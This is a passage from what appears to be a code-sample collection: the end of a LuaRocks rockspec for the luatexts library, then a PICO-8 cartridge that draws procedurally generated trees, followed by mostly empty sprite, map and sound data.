    "content": "package = \"luatexts\"\nversion = \"0.1.2-1\"\nsource = {\n   url = \"git://github.com/agladysh/luatexts.git\",\n   branch = \"v0.1.2\"\n}\ndescription = {\n   summary = \"Trivial Lua human-readable binary-safe serialization library\",\n   homepage = \"http://github.com/agladysh/luatexts\",\n   license = \"MIT/X11\",\n   maintainer = \"Alexander Gladysh <agladysh@gmail.com>\"\n}\ndependencies = {\n   \"lua >= 5.1\"\n}\nbuild = {\n   type = \"builtin\",\n   modules = {\n      luatexts = {\n         sources = {\n            \"src/c/luatexts.c\",\n            \"src/c/luainternals.c\"\n         },\n         incdirs = {\n            \"src/c/\"\n         }\n      },\n      [\"luatexts.lua\"] = \"src/lua/luatexts/lua.lua\"\n   }\n}\n"
  },
  {
    "path": "samples/Lua/treegen.p8",
    "content": "pico-8 cartridge // http://www.pico-8.com\nversion 7\n// taken from: https://github.com/lvictorino/pico8/blob/master/treegen.p8\n__lua__\n-- tree generation\n-- basic space colonization algorithm\n-- by laurent victorino\n\ntree={} --tree node list\ninfluence={} --influence list\nnewnodedist=5 -- distance between tree nodes\ninfluencedist=50 -- attraction max distance\ninfluencekilldist=10 -- distance at which an influence node is killed\ncrownw=64 -- tree crown width\ncrownh=64 -- tree crown height\ncrownx=64 -- tree crown x center position\ncronwy=64 -- tree crown y center position\ngenerate=false -- has generation started?\n\nfunction _init()\n\t-- randomize properties\n\tnewnodedist=rnd(10)+2\n\tinfluencedist=rnd(60)+20\n\tinfluencekilldist=rnd(20)+8\n\tcrownx=64+rnd(40)*(rnd(1)-rnd(1))\n\tcrowny=64+rnd(40)*(rnd(1)-rnd(1))\n\tcrownw=rnd(60)+30\n\tcrownh=rnd(60)+20\n\t--\n\tgenerate = false\n\t\n\tinitialize_root()\n\tinitialize_crown()\nend\n\n-- initialize first tree node\nfunction initialize_root()\n\ttree={}\n\tadd(tree,newnode(rnd(10)+54,127,nil,7))\nend\n\n-- initialize crown size and influence\nfunction initialize_crown()\n\tinfluence={}\n\t-- create an eliptic crown composed of 100->400 influence nodes\n\tfor i=0,rnd(100)+300 do\n\t a = rnd(1)\n\t\tx = crownx + rnd(crownw) * cos(a)\n\t\ty = crowny + rnd(crownh) * sin(a)\n\t\t-- add a new influence to the list\n\t\tadd(influence,newnode(x,y,nil,5))\n\tend\nend\n\nfunction _update()\n\t-- x button: generate a new set\n\tif btn(4) and btnp(4) == true then\n\t\t_init()\n\tend\n\t-- c button: start generation\n\tif btn(5) and btnp(5) == true then\n\t\tgenerate=true\n\tend\n\n -- generation loop\n\tif #influence != 0 and generate==true then\t\t\t\n\t\t-- reset all tree nodes influence\n\t\tfor c in all(tree) do c.resetinfluence(c) end \n\t\t-- is there any remaining influence?\n\t\tflag=false\n\t\t-- for every influence node\n\t\t-- check what node they it influenced\n\t\tfor i in all(influence) do\n\t\t\tclosest=nil\n\t\t\tfor t in all(tree) do\n\t\t\t\tif distvector(i,t) < influencedist\n\t\t\t\t\t\tand (closest==nil or abs(distvector(i,t)) < abs(distvector(i,closest))) \t\t\t\t\t\t\t\tthen\n\t\t\t\t\tflag=true\n\t\t\t\t\tclosest=t\n\t\t\t\tend\n\t\t\tend\n\t\t\tif closest!=nil then \n\t\t\t\tclosest.addinfluence(closest,i) \n\t\t\tend\n\t\tend\t\n\t\t-- if no influence remains stop the generation\n\t\tif flag == false then \n\t\t\tinfluence={}\n\t\t\tgenerate=false\n\t\t\treturn\n\t\tend\n\t\t-- for every tree node\n\t\t-- compute the influence vector\n\t\t-- and add a new tree node to the list\n\t\tfor t in all(tree) do\n\t\t\tif #t.influence != 0 then\n \t\t\tmedv={}\n\t \t\tmedv.x=0\n\t\t \tmedv.y=0\n\t\t\t for i in all(t.influence) do\n\t\t\t\t dist=distvector(i,t)\n\t\t\t\t medv.x+=(i.x-t.x)/dist -- closest influence nodes are more powerful\n\t\t\t\t medv.y+=(i.y-t.y)/dist\n\t\t\t\t -- destroy influence if too close\n\t\t\t\t if dist < influencekilldist then\n\t\t\t\t\t del(influence,i)\n\t\t\t\t end\n\t\t\t end\n\t\t\t -- compute the influence vector\n\t\t\t\tmedv.x /= #t.influence\n\t\t\t\tmedv.y /= #t.influence\n\t\t\t\t-- normalize influence vector\n\t\t\t\tnewn=normalize(medv)\n\t\t\t\t-- compute new node position\n\t\t\t\tnewn.x=t.x+newnodedist*newn.x\n\t\t\t\tnewn.y=t.y+newnodedist*newn.y\n\t\t\t\t-- add new node to the list\n\t\t\t\tadd(tree,newnode(newn.x,newn.y,t))\n\t\t\tend\n\t\tend\n\tend\nend\n\nfunction _draw()\n\tcls()\n\n\t-- draw tree lines\n\tfor t in all(tree) do\n\t\tif t.parent != nil then\n\t\t\tline(t.x,t.y,t.parent.x,t.parent.y,4)\n\t\tend\n\tend\n\t-- draw influence\n\tfor i in all(influence) do\n\t\ti.draw(i,8)\n\tend\n\n\t-- helpers\n\tcolor(13)\n\tprint(\"c:new set\\tx:generate\")\n\tprint(\"nodes\\t\\t\\t\\t\\tcount:\"..#tree..\"\\tdist:\"..flr(newnodedist))\n\tprint(\"influence\\tcount:\"..#influence..\"\\tdist:\"..flr(influencedist))\n\tif #influence==0 then\n\t\tprint(\"generation is over.\",0,123)\n\tend\nend\n\n-- generate a new node\n-- params: xpos,ypos,parent node to be attached to\nfunction newnode(x,y,parent)\n\t\tn={}\n\t\tn.x=x\n\t\tn.y=y\n\t\t-- set parent\n\t\tn.parent=parent\n\t\t-- list of influence node\n\t\tn.influence={}\n\t\t-- draw node as crosses\n\t\tn.draw=function(node,col)\n\t\t\tline(node.x,node.y-1,node.x,node.y+1,col)\n\t\t\tline(node.x-1,node.y,node.x+1,node.y,col)\n\t\tend\n\t\t-- add an influence node to the list\n\t\tn.addinfluence=function(node,influence)\n\t\t\tadd(node.influence,influence)\n\t\tend\n\t\t-- reset the influence list\n\t\tn.resetinfluence=function(node)\n\t\t\tnode.influence={}\n\t\tend\n\t\treturn n\nend\n\n-- return the distance between \n-- two vectors\nfunction distvector(v1,v2)\n\tvx=v1.x-v2.x\n\tvy=v1.y-v2.y\n\treturn sqrt(vx*vx+vy*vy)\nend\n\n-- return the magnitude of a vector\nfunction magnitude(v)\n\treturn sqrt(v.x*v.x+v.y*v.y)\nend\n\n-- return a normalized vector\nfunction normalize(v)\n\tvp={}\n\tvp.x=v.x/magnitude(v)\n\tvp.y=v.y/magnitude(v)\n\treturn vp\nend\n__gfx__\n00000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000\n00000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000\n00700700000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000\n00077000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000\n00077000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000\n00700700000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000\n00000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000\n00000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000\n00000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000\n00000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000\n00000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000\n00000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000\n00000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000\n00000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000\n00000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000\n00000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000\n00000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000\n00000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000\n00000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000\n00000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000\n00000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000\n00000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000\n00000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000\n00000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000\n00000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000\n00000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000\n00000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000\n00000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000\n00000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000\n00000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000\n00000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000\n00000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000\n00000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000\n00000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000\n00000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000\n00000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000\n00000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000\n00000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000\n00000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000\n00000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000\n00000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000\n00000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000\n00000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000\n00000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000\n00000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000\n00000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000\n00000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000\n00000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000\n00000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000\n00000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000\n00000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000\n00000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000\n00000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000\n00000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000\n00000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000\n00000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000\n00000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000\n00000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000\n00000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000\n00000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000\n00000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000\n00000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000\n00000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000\n00000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000\n00000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000\n00000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000\n00000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000\n00000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000\n00000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000\n00000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000\n00000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000\n00000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000\n00000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000\n00000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000\n00000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000\n00000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000\n00000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000\n00000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000\n00000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000\n00000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000\n00000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000\n00000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000\n00000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000\n00000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000\n00000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000\n00000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000\n00000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000\n00000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000\n00000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000\n00000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000\n00000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000\n00000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000\n00000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000\n00000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000\n00000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000\n00000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000\n00000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000\n00000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000\n00000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000\n00000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000\n00000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000\n00000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000\n00000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000\n00000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000\n00000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000\n00000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000\n00000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000\n00000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000\n00000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000\n00000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000\n00000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000\n00000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000\n00000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000\n00000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000\n00000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000\n00000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000\n00000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000\n00000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000\n00000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000\n00000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000\n00000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000\n00000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000\n00000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000\n00000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000\n00000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000\n00000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000\n00000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000\n00000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000\n__gff__\n0000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000\n0000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000\n__map__\n0000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000\n0000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000\n0000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000\n0000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000\n0000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000\n0000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000\n0000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000\n0000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000\n0000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000\n0000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000\n0000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000\n0000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000\n0000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000\n0000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000\n0000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000\n0000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000\n0000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000\n0000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000\n0000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000\n0000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000\n0000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000\n0000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000\n0000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000\n0000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000\n0000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000\n0000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000\n0000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000\n0000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000\n0000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000\n0000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000\n0000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000\n0000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000\n__sfx__\n000100000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000\n001000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000\n001000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000\n001000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000\n001000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000\n001000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000\n001000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000\n001000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000\n001000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000\n001000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000\n001000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000\n001000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000\n001000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000\n001000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000\n001000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000\n001000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000\n001000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000\n001000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000\n001000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000\n001000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000\n001000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000\n001000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000\n001000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000\n001000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000\n001000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000\n001000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000\n001000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000\n001000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000\n001000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000\n001000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000\n001000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000\n001000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000\n001000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000\n001000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000\n001000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000\n001000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000\n001000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000\n001000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000\n001000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000\n001000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000\n001000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000\n001000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000\n001000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000\n001000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000\n001000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000\n001000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000\n001000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000\n001000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000\n001000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000\n001000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000\n001000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000\n0010000000000000000000000000000000000000000000000000000000000000000000000000000000000000000